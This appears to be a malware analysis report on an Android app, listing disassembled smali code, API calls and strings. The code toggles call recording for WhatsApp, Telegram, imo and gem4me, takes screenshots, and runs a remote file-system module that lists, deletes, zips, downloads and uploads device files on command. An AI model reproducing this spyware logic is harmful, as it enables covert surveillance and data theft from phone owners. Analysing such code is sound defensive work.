                    534invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    535move-result v1
                    537invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    539iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->v:Landroid/widget/CheckBox;
                    540new-instance v1, Lnet/vkurhandler/fw;
                    542const-string v2, "messenger_rt_whatsapp_record_call"
                    544invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    546invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    548iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->v:Landroid/widget/CheckBox;
                    550iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    552const-string v2, "messenger_rt_whatsapp_record_call"
                    554invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    555move-result v1
                    557invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    559iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->y:Landroid/widget/CheckBox;
                    560new-instance v1, Lnet/vkurhandler/fw;
                    562const-string v2, "messenger_rt_telegram_record_call"
                    564invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    566invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    568iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->y:Landroid/widget/CheckBox;
                    570iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    572const-string v2, "messenger_rt_telegram_record_call"
                    574invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    575move-result v1
                    577invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    579iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->D:Landroid/widget/CheckBox;
                    580new-instance v1, Lnet/vkurhandler/fw;
                    582const-string v2, "messenger_rt_imo_record_call"
                    584invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    586invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    588iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->D:Landroid/widget/CheckBox;
                    590iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    592const-string v2, "messenger_rt_imo_record_call"
                    594invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    595move-result v1
                    597invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    599iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->F:Landroid/widget/CheckBox;
                    600new-instance v1, Lnet/vkurhandler/fw;
                    602const-string v2, "messenger_rt_gem4me_record_call"
                    604invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    606invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    608iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->F:Landroid/widget/CheckBox;
                    610iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    612const-string v2, "messenger_rt_gem4me_record_call"
                    614invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    615move-result v1
                    617invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    618const v0, 0x7f0a00f6
                    620invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    621move-result-object v0
                    622check-cast v0, Landroid/widget/EditText;
                    623iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->i:Landroid/widget/EditText;
                    624const v0, 0x7f0a00f5
                    626invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsRootActivity;->findViewById(I)Landroid/view/View;
                    627move-result-object v0
                    628check-cast v0, Landroid/widget/CheckBox;
                    629iput-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->n:Landroid/widget/CheckBox;
                    631iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->e:Landroid/widget/Button;
                    633iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    635const-string v2, "take_screen"
                    637invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    638move-result v1
                    640invoke-virtual {v0, v1}, Landroid/widget/Button;->setEnabled(Z)V
                    642iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->n:Landroid/widget/CheckBox;
                    643new-instance v1, Lnet/vkurhandler/fw;
                    645const-string v2, "take_screen"
                    647invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    649invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    651iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->n:Landroid/widget/CheckBox;
                    653iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    655const-string v2, "take_screen"
                    657invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    658move-result v1
                    660invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    662iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->p:Landroid/widget/CheckBox;
                    663new-instance v1, Lnet/vkurhandler/fw;
                    665const-string v2, "screen_use_jpeg_compress"
                    667invoke-direct {v1, p0, v2, v4}, Lnet/vkurhandler/fw;-><init>(Lnet/vkurhandler/SettingsRootActivity;Ljava/lang/String;Lnet/vkurhandler/fw;)V
                    669invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    671iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->p:Landroid/widget/CheckBox;
                    673iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    675const-string v2, "screen_use_jpeg_compress"
                    677invoke-interface {v1, v2, v5}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    678move-result v1
                    680invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    682iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->i:Landroid/widget/EditText;
                    684iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    686const-string v2, "take_screen"
                    688invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    689move-result v1
                    691invoke-virtual {v0, v1}, Landroid/widget/EditText;->setEnabled(Z)V
                    693iget-object v0, p0, Lnet/vkurhandler/SettingsRootActivity;->i:Landroid/widget/EditText;
                    695iget-object v1, p0, Lnet/vkurhandler/SettingsRootActivity;->b:Landroid/content/SharedPreferences;
                    697const-string v2, "take_screen_interval"
                    698const/16 v3, 0xa
                    700invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    701move-result v1
                    703invoke-static {v1}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                    704move-result-object v1
                    706invoke-virtual {v0, v1}, Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V
                    707return-void
                    APIs
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.v
                    • org.json.JSONObject.put
                    • java.lang.String.equals
                    • android.os.Environment.getExternalStorageDirectory
                    • java.io.File.toString
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.toString
                    • java.lang.String.equals
                    • org.json.JSONObject.put
                    • java.lang.String.equals
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.getJSONArray
                    • org.json.JSONArray.length
                    • org.json.JSONObject.put
                    • java.lang.Exception.printStackTrace
                    • org.json.JSONObject.put
                    • java.lang.Exception.toString
                    • org.json.JSONObject.put
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • org.json.JSONArray.getString
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.io.File.<init>
                    • java.io.File.delete
                    • java.lang.String.equals
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.getString
                    • java.io.File.<init>
                    • org.json.JSONObject.getString
                    • java.io.File.<init>
                    • java.io.File.renameTo
                    • org.json.JSONObject.put
                    • java.lang.String.equals
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.getJSONArray
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.io.File.<init>
                    • java.io.File.exists
                    • java.io.File.delete
                    • java.io.FileOutputStream.<init>
                    • java.util.zip.ZipOutputStream.<init>
                    • org.json.JSONArray.length
                    • java.util.zip.ZipOutputStream.close
                    • java.io.File.exists
                    • org.json.JSONObject.put
                    • org.json.JSONArray.getString
                    • java.io.File.<init>
                    • java.lang.String.equals
                    • java.io.File.<init>
                    • java.io.File.mkdir
                    • org.json.JSONObject.put
                    • java.lang.String.equals
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.getLong
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • java.lang.String.equals
                    • java.io.File.<init>
                    • java.io.File.exists
                    • org.json.JSONObject.put
                    • java.io.File.length
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    Strings
                    • command_id
                    • command
                    • module
                    • rafs
                    • action
                    • send_response
                    • device_id
                    • rafs_sdcard_content
                    • response
                    • response_base64_zipped
                    • params
                    • rafs_folder_content
                    • rafs_delete
                    • path
                    • names
                    • RemoteAccessFS
                    • exception
                    • rafs_rename
                    • old_path
                    • new_path
                    • rafs_zip_content
                    • zip_name
                    • rafs_mkdir
                    • rafs_download_file
                    • size
                    • url
                    • reason
                    • incorrect_download_size
                    • rafs_upload_file
                    • file_name
                    • file_size
                    • file_not_found
                    • unknown_command
                    Position Instruction Meta Information
                    0const-wide/16 v10, 0x0
                    1const/4 v2, 0x1
                    2const/4 v3, 0x0
                    3new-instance v4, Lcom/a/a/a/v;
                    5invoke-direct {v4}, Lcom/a/a/a/v;-><init>()V
                    6sget v1, Lnet/vkurhandler/ea;->b:I
                    7try_start_b: new-instance v5, Lorg/json/JSONObject;
                    9invoke-direct {v5}, Lorg/json/JSONObject;-><init>()V
                    11const-string v0, "command_id"
                    13iget-object v6, p0, Lnet/vkurhandler/dw;->d:Ljava/lang/String;
                    15invoke-virtual {v5, v0, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    17const-string v0, "command"
                    19iget-object v6, p0, Lnet/vkurhandler/dw;->b:Ljava/lang/String;
                    21invoke-virtual {v5, v0, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    23const-string v0, "module"
                    25const-string v6, "rafs"
                    27invoke-virtual {v5, v0, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    29const-string v0, "action"
                    31const-string v6, "send_response"
                    33invoke-virtual {v5, v0, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    35const-string v0, "device_id"
                    37iget-object v6, p0, Lnet/vkurhandler/dw;->a:Landroid/content/Context;
                    39invoke-static {v6}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    40move-result-object v6
                    42invoke-virtual {v6}, Lnet/vkurhandler/MyApp;->v()Lnet/vkurhandler/Mobile;
                    43move-result-object v6
                    45invoke-virtual {v6}, Lnet/vkurhandler/Mobile;->h()Ljava/lang/String;
                    46move-result-object v6
                    48invoke-virtual {v5, v0, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    49try_start_3f:
                    50const-string v0, "rafs_sdcard_content"
                    52iget-object v6, p0, Lnet/vkurhandler/dw;->b:Ljava/lang/String;
                    54invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    55try_end_46: move-result v0
                    56if-eqz v0, :cond_6d
                    57try_start_49:
                    58const-string v0, "response"
                    60invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
                    61move-result-object v3
                    63invoke-virtual {v3}, Ljava/io/File;->toString()Ljava/lang/String;
                    64move-result-object v3
                    66invoke-virtual {p0, v3}, Lnet/vkurhandler/dw;->a(Ljava/lang/String;)Ljava/lang/String;
                    67move-result-object v3
                    69invoke-virtual {v5, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    70try_end_5a: move v3, v2
                    71try_start_5b:
                    72const-string v0, "response_base64_zipped"
                    74invoke-virtual {v5, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                    76const-string v0, "params"
                    78invoke-virtual {v5}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                    79move-result-object v2
                    81invoke-virtual {v4, v0, v2}, Lcom/a/a/a/v;->a(Ljava/lang/String;Ljava/lang/String;)V
                    83invoke-direct {p0, v4, v1}, Lnet/vkurhandler/dw;->a(Lcom/a/a/a/v;I)V
                    84goto_6c: return-void
                    85cond_6d:
                    86const-string v0, "rafs_folder_content"
                    88iget-object v6, p0, Lnet/vkurhandler/dw;->b:Ljava/lang/String;
                    90invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    91try_end_74: move-result v0
                    92if-eqz v0, :cond_84
                    93try_start_77:
                    94const-string v0, "response"
                    96iget-object v3, p0, Lnet/vkurhandler/dw;->c:Ljava/lang/String;
                    98invoke-virtual {p0, v3}, Lnet/vkurhandler/dw;->a(Ljava/lang/String;)Ljava/lang/String;
                    99move-result-object v3
                    101invoke-virtual {v5, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    102try_end_82: move v3, v2
                    103goto/16 :goto_5b
                    104cond_84:
                    105const-string v0, "rafs_delete"
                    107iget-object v2, p0, Lnet/vkurhandler/dw;->b:Ljava/lang/String;
                    109invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    110move-result v0
                    111if-eqz v0, :cond_ea
                    112new-instance v0, Lorg/json/JSONObject;
                    114iget-object v2, p0, Lnet/vkurhandler/dw;->c:Ljava/lang/String;
                    116invoke-direct {v0, v2}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    118const-string v2, "path"
                    120invoke-virtual {v0, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    121move-result-object v2
                    123const-string v6, "names"
                    125invoke-virtual {v0, v6}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                    126move-result-object v6
                    127move v0, v3
                    128goto_a2:
                    129invoke-virtual {v6}, Lorg/json/JSONArray;->length()I
                    130move-result v7
                    131if-lt v0, v7, :cond_ca
                    133const-string v0, "response"
                    134const/4 v2, 0x1
                    136invoke-virtual {v5, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                    137try_end_ae: goto/16 :goto_5b
                    138catch_af: move-exception v0
                    139move v2, v3
                    140try_start_b1:
                    141invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                    143const-string v3, "RemoteAccessFS"
                    145invoke-static {v3, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    147const-string v3, "response"
                    148const/4 v6, 0x0
                    150invoke-virtual {v5, v3, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                    152const-string v3, "exception"
                    154invoke-virtual {v0}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                    155move-result-object v0
                    157invoke-virtual {v5, v3, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    158try_end_c8: move v3, v2
                    159goto/16 :goto_5b
                    160cond_ca: new-instance v7, Ljava/io/File;
                    161new-instance v8, Ljava/lang/StringBuilder;
                    163invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    164move-result-object v9
                    166invoke-direct {v8, v9}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    168invoke-virtual {v6, v0}, Lorg/json/JSONArray;->getString(I)Ljava/lang/String;
                    169move-result-object v9
                    171invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    172move-result-object v8
                    174invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    175move-result-object v8
                    177invoke-direct {v7, v8}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    179invoke-virtual {v7}, Ljava/io/File;->delete()Z
                    180add-int/lit8 v0, v0, 0x1
                    181goto/16 :goto_a2
                    182cond_ea:
                    183const-string v0, "rafs_rename"
                    185iget-object v2, p0, Lnet/vkurhandler/dw;->b:Ljava/lang/String;
                    187invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    188move-result v0
                    189if-eqz v0, :cond_11c
                    190new-instance v0, Lorg/json/JSONObject;
                    192iget-object v2, p0, Lnet/vkurhandler/dw;->c:Ljava/lang/String;
                    194invoke-direct {v0, v2}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    195new-instance v2, Ljava/io/File;
                    197const-string v6, "old_path"
                    199invoke-virtual {v0, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    200move-result-object v6
                    202invoke-direct {v2, v6}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    203new-instance v6, Ljava/io/File;
                    205const-string v7, "new_path"
                    207invoke-virtual {v0, v7}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    208move-result-object v0
                    210invoke-direct {v6, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    212const-string v0, "response"
                    214invoke-virtual {v2, v6}, Ljava/io/File;->renameTo(Ljava/io/File;)Z
                    215move-result v2
                    217invoke-virtual {v5, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                    218goto/16 :goto_5b
                    219cond_11c:
                    220const-string v0, "rafs_zip_content"
                    222iget-object v2, p0, Lnet/vkurhandler/dw;->b:Ljava/lang/String;
                    224invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    225move-result v0
                    226if-eqz v0, :cond_18c
                    227new-instance v0, Lorg/json/JSONObject;
                    229iget-object v2, p0, Lnet/vkurhandler/dw;->c:Ljava/lang/String;
                    231invoke-direct {v0, v2}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    233const-string v2, "path"
                    235invoke-virtual {v0, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    236move-result-object v2
                    238const-string v6, "zip_name"
                    240invoke-virtual {v0, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    241move-result-object v6
                    243const-string v7, "names"
                    245invoke-virtual {v0, v7}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                    246move-result-object v7
                    247new-instance v8, Ljava/io/File;
                    248new-instance v0, Ljava/lang/StringBuilder;
                    250invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    251move-result-object v9
                    253invoke-direct {v0, v9}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    255invoke-virtual {v0, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    256move-result-object v0
                    258invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    259move-result-object v0
                    261invoke-direct {v8, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    263invoke-virtual {v8}, Ljava/io/File;->exists()Z
                    264move-result v0
                    265if-eqz v0, :cond_15e
                    267invoke-virtual {v8}, Ljava/io/File;->delete()Z
                    268cond_15e: new-instance v6, Ljava/util/zip/ZipOutputStream;
                    269new-instance v0, Ljava/io/FileOutputStream;
                    271invoke-direct {v0, v8}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
                    273invoke-direct {v6, v0}, Ljava/util/zip/ZipOutputStream;-><init>(Ljava/io/OutputStream;)V
                    274move v0, v3
                    275goto_169:
                    276invoke-virtual {v7}, Lorg/json/JSONArray;->length()I
                    277move-result v9
                    278if-lt v0, v9, :cond_17d
                    280invoke-virtual {v6}, Ljava/util/zip/ZipOutputStream;->close()V
                    282const-string v0, "response"
                    284invoke-virtual {v8}, Ljava/io/File;->exists()Z
                    285move-result v2
                    287invoke-virtual {v5, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                    288goto/16 :goto_5b
                    289cond_17d:
                    290invoke-virtual {v7, v0}, Lorg/json/JSONArray;->getString(I)Ljava/lang/String;
                    291move-result-object v9
                    292new-instance v10, Ljava/io/File;
                    294invoke-direct {v10, v2, v9}, Ljava/io/File;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                    296invoke-static {v10, v6}, Lnet/vkurhandler/gp;->b(Ljava/io/File;Ljava/util/zip/ZipOutputStream;)V
                    297add-int/lit8 v0, v0, 0x1
                    298goto/16 :goto_169
                    299cond_18c:
                    300const-string v0, "rafs_mkdir"
                    302iget-object v2, p0, Lnet/vkurhandler/dw;->b:Ljava/lang/String;
                    304invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    305move-result v0
                    306if-eqz v0, :cond_1a8
                    307new-instance v0, Ljava/io/File;
                    309iget-object v2, p0, Lnet/vkurhandler/dw;->c:Ljava/lang/String;
                    311invoke-direct {v0, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    313const-string v2, "response"
                    315invoke-virtual {v0}, Ljava/io/File;->mkdir()Z
                    316move-result v0
                    318invoke-virtual {v5, v2, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                    319goto/16 :goto_5b
                    320cond_1a8:
                    321const-string v0, "rafs_download_file"
                    323iget-object v2, p0, Lnet/vkurhandler/dw;->b:Ljava/lang/String;
                    325invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    326move-result v0
                    327if-eqz v0, :cond_1f4
                    328sget v1, Lnet/vkurhandler/ea;->c:I
                    329new-instance v0, Lorg/json/JSONObject;
                    331iget-object v2, p0, Lnet/vkurhandler/dw;->c:Ljava/lang/String;
                    333invoke-direct {v0, v2}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    335const-string v2, "size"
                    337invoke-virtual {v0, v2}, Lorg/json/JSONObject;->getLong(Ljava/lang/String;)J
                    338move-result-wide v6
                    340const-string v2, "url"
                    342invoke-virtual {v0, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    343move-result-object v2
                    345const-string v8, "path"
                    347invoke-virtual {v0, v8}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    348move-result-object v0
                    350invoke-static {v2, v0}, Lnet/vkurhandler/gn;->a(Ljava/lang/String;Ljava/lang/String;)J
                    351move-result-wide v8
                    352cmp-long v0, v8, v10
                    353if-eqz v0, :cond_1dd
                    354cmp-long v0, v6, v10
                    355if-eqz v0, :cond_1dd
                    356cmp-long v0, v8, v6
                    357if-eqz v0, :cond_1ec
                    358cond_1dd:
                    359const-string v0, "response"
                    360const/4 v2, 0x0
                    362invoke-virtual {v5, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                    364const-string v0, "reason"
                    366const-string v2, "incorrect_download_size"
                    368invoke-virtual {v5, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    369goto/16 :goto_5b
                    370cond_1ec:
                    371const-string v0, "response"
                    372const/4 v2, 0x1
                    374invoke-virtual {v5, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                    375goto/16 :goto_5b
                    376cond_1f4:
                    377const-string v0, "rafs_upload_file"
                    379iget-object v2, p0, Lnet/vkurhandler/dw;->b:Ljava/lang/String;
                    381invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    382move-result v0
                    383if-eqz v0, :cond_232
                    384sget v1, Lnet/vkurhandler/ea;->c:I
                    385new-instance v0, Ljava/io/File;
                    387iget-object v2, p0, Lnet/vkurhandler/dw;->c:Ljava/lang/String;
                    389invoke-direct {v0, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    391invoke-virtual {v0}, Ljava/io/File;->exists()Z
                    392move-result v2
                    393if-eqz v2, :cond_223
                    395const-string v2, "file_name"
                    397invoke-virtual {v4, v2, v0}, Lcom/a/a/a/v;->a(Ljava/lang/String;Ljava/io/File;)V
                    399const-string v2, "response"
                    400const/4 v6, 0x1
                    402invoke-virtual {v5, v2, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                    404const-string v2, "file_size"
                    406invoke-virtual {v0}, Ljava/io/File;->length()J
                    407move-result-wide v6
                    409invoke-virtual {v5, v2, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                    410goto/16 :goto_5b
                    411cond_223:
                    412const-string v0, "response"
                    413const/4 v2, 0x0
                    415invoke-virtual {v5, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                    417const-string v0, "reason"
                    419const-string v2, "file_not_found"
                    421invoke-virtual {v5, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    422goto/16 :goto_5b
                    423cond_232:
                    424const-string v0, "response"
                    425const/4 v2, 0x0
                    427invoke-virtual {v5, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                    429const-string v0, "reason"
                    431const-string v2, "unknown_command"
                    433invoke-virtual {v5, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    434try_end_23f: goto/16 :goto_5b
                    435catch_241: move-exception v0
                    437const-string v1, "RemoteAccessFS"
                    439invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    440goto/16 :goto_6c
                    441catch_249: move-exception v0
                    442goto/16 :goto_b1
                    APIs
                    • net.vkurhandler.ds.i:Ljava/lang/String
                    • net.vkurhandler.ds.i:Ljava/lang/String
                    • java.lang.String.<init>
                    • java.lang.String.equals
                    • android.database.sqlite.SQLiteDatabase.openDatabase
                    • net.vkurhandler.ds.a
                    • net.vkurhandler.ds.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • java.lang.Integer.valueOf
                    • java.lang.Integer.valueOf
                    • java.lang.String.format
                    • java.lang.Boolean.valueOf
                    • java.lang.String.format
                    • net.vkurhandler.ds.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.ds.k:[Ljava/lang/String
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.database.sqlite.SQLiteDatabase.query
                    • android.database.Cursor.moveToNext
                    • net.vkurhandler.ds.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putInt
